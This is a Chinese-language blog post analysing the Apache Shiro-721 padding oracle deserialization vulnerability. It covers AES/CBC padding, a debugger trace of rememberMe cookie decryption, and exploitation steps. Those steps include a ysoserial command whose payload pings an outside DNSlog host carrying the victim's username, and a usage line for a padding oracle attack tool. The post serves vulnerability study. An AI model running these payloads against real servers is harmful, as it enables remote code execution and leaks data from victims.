Java反序列化-shiro-721反序列化(五)
收集了网上很多关于 shiro 721序列化的文章,发现都有讲加密这一块,所以也准备跟着文章来学习一下。
0X01 AES 加解密
目前的密码体制可以分为两种:“对称加密” 和 “非对称加密”
对称加密 – 加解密密钥都是同一个,既可加密又可解密
- AES
- DES
非对称加密 – 一对密钥由公钥和私钥组成,公私钥都可用来加解密。私钥不能外泄,公钥可以交给所有请求方
- RSA
- ECC
- Rabin
- 背包算法
- Elgamal
- ……
目前对称加密 AES 和非对称加密 RSA 使用的比较广泛。
AES 算法
我们都知道 shiro 是用的 AES 加密方法,AES 属于分组加密算法
明文长度固定为 128
位。
密钥长度可以是 128
、192
、256
位
分组加密模式共有五种
ECS
( Electronic Codebook Book , 电话本模式 )CBC
( Cipher Block Chaining , 密码分组链接模式 )CTR
( Counter , 计算器模式 )CFB
( Cipher FeedBack , 密码反馈模式 )OFB
( Output FeedBack , 输出反馈模式 )
shiro 1.4.1 版本中,加密方式并没有修改加密方法,只是将固定密钥更换成随机,所以本次也跟着大佬的文章看看 CBC
模式的加密模式。
CBC
密码分组链接模式,密文分组像链条一样相互连接,将明文分割成若干组,每组和上一组的密文进行 XOR(异或)运算,得到的密文会和下一组明文进行加密。由于第一段明文没有对应的密文,所以引入了一个初始化向量 IV(Initialization Vector )
,此向量是一个固定长度的随机值(8个字节),和第一段明文一起加密。
如下图所示:
Padding 加密
我们还要注意一点的是填充方式。
在分组加密时,把明文以 128 bits(16 Bytes) 分割成多个组,当最后一组不足 16 Bytes 时,会使用 Padding 机制填充,直到补齐 16 bytes 为止。
CBC
加密模式下可用的 Padding 方式有三种:
NoPadding
: 明文长度必须是 8 Bytes 的倍数 , 否则会报错 .PKCS5Padding
: 以完整字节填充 , 每个填充字节的值是用于填充的字节数 . 即要填充N
个字节 , 每个字节都为N
.
举例 : 使用 PKCS5Padding 方式填充 3 个字节 :
| AA BB CC DD EE 03 03 03 |
ISO10126Padding
: 以随机字节填充 , 最后一个字节为填充字节的个数 .
举例 : 使用 ISO10126Padding 方式填充 5 个字节 :
| AA BB CC A9 3B 78 04 05 |
如下图
Padding Oracle Attack (填充 Oracle 攻击)
填充 Oracle 攻击中的 Oracle 中是通过接收特定加密数据,解密并验证填充是否正确的方式。
攻击者会反复发送一段密文,每次发送时都对填充数据进行少许改变。由于接收者(服务器)在无法正确解密时会返回一个错误消息,攻击者通过这一错误消息就可以获得一部分与明文相关的信息。
例如:
客户端实现了用户登录功能 ; 用户登录后 , 客户端会将用户的ID进行
AES/CBC/PKCS5Padding
加密后发送到服务器处理 , 来验证用户是否存在.客户端将 AES 加密后的UID值放到URL中进行传输 :
https://guildhab.top?uid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
服务端会接收客户端发送的数据 , 对参数UID的值进行AES解密处理.
假设服务端会产生如下三种 AES 解密结果 :
- 密文有效 , 填充有效 ===> 用户存在 , 登录成功 . 服务端返回
HTTP 200
- 密文无效 ===> 服务端返回用户不存在的报错信息 . 服务端返回
HTTP 500
- 密文有效 , 填充无效 ===> 服务端返回后端自定义报错信息 . 服务端返回
HTTP 301
玩过 SQL 注入的师傅很快便能发现问题 : 根据第一个返回结果和第三个返回结果 . 可以通过暴力破解的方式来确定有效的填充值 .
当服务端返回 “用户存在 , 登录成功” 的信息时 . 填充数据即为有效填充值 . 这个概念非常类似 SQL 注入里的 “盲注” , 属于一种侧信道攻击 .
- 密文有效 , 填充有效 ===> 用户存在 , 登录成功 . 服务端返回
这里推荐去此博客,解释的挺不错
大致了解了 AES 加密流程,以及和 shiro 相关的安全问题。
0X02 shiro 721 漏洞分析
环境搭建
下载地址:https://github.com/apache/shiro/releases/tag/shiro-root-1.4.1
导入 idea 后 根据 pox.xml 自动下载依赖包
配置 Tomcat 环境
启动 Tomcat
搭建成功!
漏洞分析
断点,我们还是打在 shiro-shiro-root-1.4.1/core/src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java
getRememberedPrincipals 方法上
启动后使用burp抓包,如果断点数据进不去
可尝试如下方法。
https://developer.aliyun.com/ask/62156?spm=a2c6h.13159736
control + command + R 然后重新发送数据,数据就进入断点了。
跟进 getRememberedSerializedIdentity 方法
getCookie().readValue
获取 cookie 的值,并且和 Cookie.DELETED_COOKIE_VALUE.equals
进行对比 DELETED_COOKIE_VALUE 常量的值是 deleteMe 返回 false 则由 ensurePadding 处理 ,继续跟进
这里判断 长度对4取模不等于0,就添加 = 号填充,并未做其他操作,继续跟进,代码执行完后,跳到 Base64.decode 这个函数 一看就是解密 base64 数据, 跟进
这里 CodecSupport.toBytes
返回 UTF-8 的字节流数据
decode 里面做了循环调用,返回了一组字节流数据,并无其他调用
执行完毕后,程序会自动跳转回 getRememberedPrincipals
继续跟进下一个函数
decrypt 解密 bytes ,直接跟进
getCipherService
获取 AES 加密类,使用的是 CBC 模式 PKCS5Padding 填充方式
getDecryptionCipherKey
获取解密密钥,先跟进 decrypt 方法,后续跟进密钥是怎么获取的
isGenerateInitializationVectors
处理初始的 IV 值,AES的初始化向量iv就是rememberMe的base64解码后的前16个字节,攻击者只要使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后就可以构造RememberMe进行反序列化攻击,攻击者无需知道RememberMe加密的密钥。
decrypt
会根据获取到的密文,密钥,初始 IV 值解密,跟进查看详细代码
initNewCipher
初始化解密模式,后续重载 crypt
调用了 doFinal
正式解密,如果调用失败会抛出异常。
跟进 doFinal
,该方法会依次判断 Cipher 对象是否被初始化
, 传入的字节数组数据是否为空
, 解密服务的服务提供商"
, 然后调用 this.spi.engineDoFinal()
方法对字节数组进行解密
走完整个流程后,跳回到 convertBytesToPrincipals
走到 deserialize
进行反序列化操作
继续跟进
最后返回 用户名 root
至此整个解密流程走完了,其实有些和解密过程我没继续跟,由于技术有限,看的比较懵逼,也就没详细跟了。
漏洞利用
脚本地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721
首先利用 ysoserial
生成一个 dnslog 的 class 文件
java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "ping %USERNAME%.jdjwu7.ceye.io" > payload.class |
爆破密钥
java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath |
后续填充内容爆破密钥
后续漏洞利用这块生成太麻烦,懒得搞了,留个坑
参考链接:https://www.cnblogs.com/wh4am1/p/12761959.html
工具跑一波